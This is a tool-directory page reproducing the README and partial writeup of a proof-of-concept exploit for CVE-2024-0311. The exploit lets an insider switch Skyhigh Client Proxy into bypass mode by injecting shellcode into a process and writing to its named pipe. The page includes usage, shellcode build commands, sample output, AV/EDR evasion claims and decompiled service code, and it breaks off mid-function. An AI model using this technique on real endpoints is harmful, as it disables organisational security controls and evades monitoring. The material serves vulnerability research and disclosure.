Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-0311 — Proof-of-concept exploit for CVE-2024-0311 bypassing Skyhigh Client Proxy policy via process injection and named pipe manipulation, with custom shellcode to evade AV/EDR restrictions. | Kitploit
Tools/GitHubGitHub/calligraf0/cve-2024-0311
Privilege EscalationExploitationIDS/IPS EvasionReverse EngineeringShellcodePayload DevelopmentBinary Exploitation
GitHubcalligraf0/cve-2024-0311

CVE-2024-0311

Proof-of-concept exploit for CVE-2024-0311 bypassing Skyhigh Client Proxy policy via process injection and named pipe manipulation, with custom shellcode to evade AV/EDR restrictions.

View Repository
92221 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-0311 ?

This is a PoC for what I believe is CVE-2024-0311, SB10418.

A malicious insider can bypass the existing policy of Skyhigh Client Proxy without a valid release code.

Much details. Very exploit. ¯\(ツ)/¯

The PoC injects into a user-ran SCPBypass.exe process and writes to the SCPService.exe pipe: \\.\pipe\MCPTrayPipe0. Injection is necessary as, even if the pipe is RW Everyone, some checks are made on the executable writing to the pipe by WGUARDNT (writer path is checked), see below.

An example shellcode is provided which allows the execution of the WriteFile onto the pipe even if Trellix/McAfee are running and hooking/blocking LoadLibrary.

Compile

Build in Debug or Release from Visual Studio

Shellcode

Generate shellcode via:

cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary

then replace the shellcode into shellcode.c.

Usage

Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: Don't call SetNamedPipeHandleState. The shellcode validate the pointer to SetNamedPipeHandleState before calling it..
*  debugon: set a breakpoint into the shellcode (0xcc at offset 0) and spawn a thread to bind the named pipe. Don't use in production.

Example output:

PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>

If everything went well in the SCP log files you should find an entry similar t this:

10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run -  SCP will be going into bypass mode for 1440 minutes

Writeup

This will be a brief writeup, cuz ain't nobody got time for words.

Skyhigh Proxy Client

First of all what is Skyhigh proxy client?

Skyhigh Security Client Proxy software helps protect your endpoint users from security threats that arise when they access the web from inside or outside your network. The client software, which is installed on endpoints running Microsoft Windows or macOS, redirects web requests or allows them to continue to a proxy for filtering. The server software runs on one of the management platforms: Trellix ePO SaaS or Trellix ePO Cloud.

That should clear it.

What is the root cause?

Given the information from the advisory, there isn't much to go for. In all honesty I was looking at the binary service to spot easy to exploit issues to LPE when I saw the CreateNamedPipe and got interested.

Here's a quick copy paste of the decompiled code from Ghidra:

void CreateNamedPipe_FUN_14022d150(undefined8 param_1)

{
  BOOL BVar1;
  int atoi_out_lpBuffer;
  HANDLE hNamedPipe;
  undefined8 uVar2;
  undefined auStackY_4c8 [32];
  uint nBytesRead;
  undefined4 local_474;
  undefined4 local_470;
  ulonglong nBytesRead_0;
  _SECURITY_ATTRIBUTES local_460;
  undefined pSecurityDescriptor [48];
  char out_lpBuffer [1024];
  ulonglong local_18;

  local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
  InitializeSecurityDescriptor(pSecurityDescriptor,1);

                    /* BOOL SetSecurityDescriptorDacl(
                         [in, out]      PSECURITY_DESCRIPTOR pSecurityDescriptor,
                         [in]           BOOL                 bDaclPresent,
                         [in, optional] PACL                 pDacl,
                         [in]           BOOL                 bDaclDefaulted
                       ); */
  SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
  local_460.bInheritHandle = 0;
  local_460.lpSecurityDescriptor = pSecurityDescriptor;
  local_460.nLength = 0x18;

                    /* HANDLE CreateNamedPipeW(
                         [in]           LPCWSTR               lpName,
                         [in]           DWORD                 dwOpenMode,
                         [in]           DWORD                 dwPipeMode,
                         [in]           DWORD                 nMaxInstances,
                         [in]           DWORD                 nOutBufferSize,
                         [in]           DWORD                 nInBufferSize,
                         [in]           DWORD                 nDefaultTimeOut,
                         [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
                       );

                       CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
                       PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
                        */
  hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
  while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
    BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
    if (BVar1 != 0) {
      while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
            BVar1 != 0) {
        nBytesRead_0 = (ulonglong)nBytesRead;
        if (1023 < nBytesRead_0) {
          fail_or_fastfail_FUN_1404794f0();
        }
        out_lpBuffer[nBytesRead_0] = '\0';
        if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
            ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
           ((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
          local_474 = 0;
        }
        else {
          TraceMessage_FUN_140027e70
                    (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
          local_474 = 1;
        }
        FUN_14022d510(param_1,1);
        atoi_out_lpBuffer = atoi(out_lpBuffer);
        uVar2 = FUN_140040210();
        LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
        if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
            ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
           ((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
          local_470 = 0;
        }
        else {
          TraceMessage_FUN_140027e10
                    (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
                    );
          local_470 = 1;
        }
        FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
                      atoi_out_lpBuffer);
        FUN_14022d5b0(param_1,atoi_out_lpBuffer);
      }
    }
    DisconnectNamedPipe(hNamedPipe);
  }
  FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
  return;
}

As we can see once the function is called a new DACL struct gets initialized and a new pipe \\.\pipe\MCPTrayPipe0 gets created in byte mode.

Then as long as the handle to such pipe is valid, the program reads from it and tries to convert the bytes sent to it from ASCII to int with atoi(out_lpBuffer). Ignoring the fact that there are better alternatives to atoi, assumed the call to atoi hasn't failed, the converted value is passed to FUN_14022d5b0:


undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)

{
  BOOL BVar1;
  DWORD DVar2;
  undefined8 uVar3;
  LARGE_INTEGER local_10 [2];
Download Tool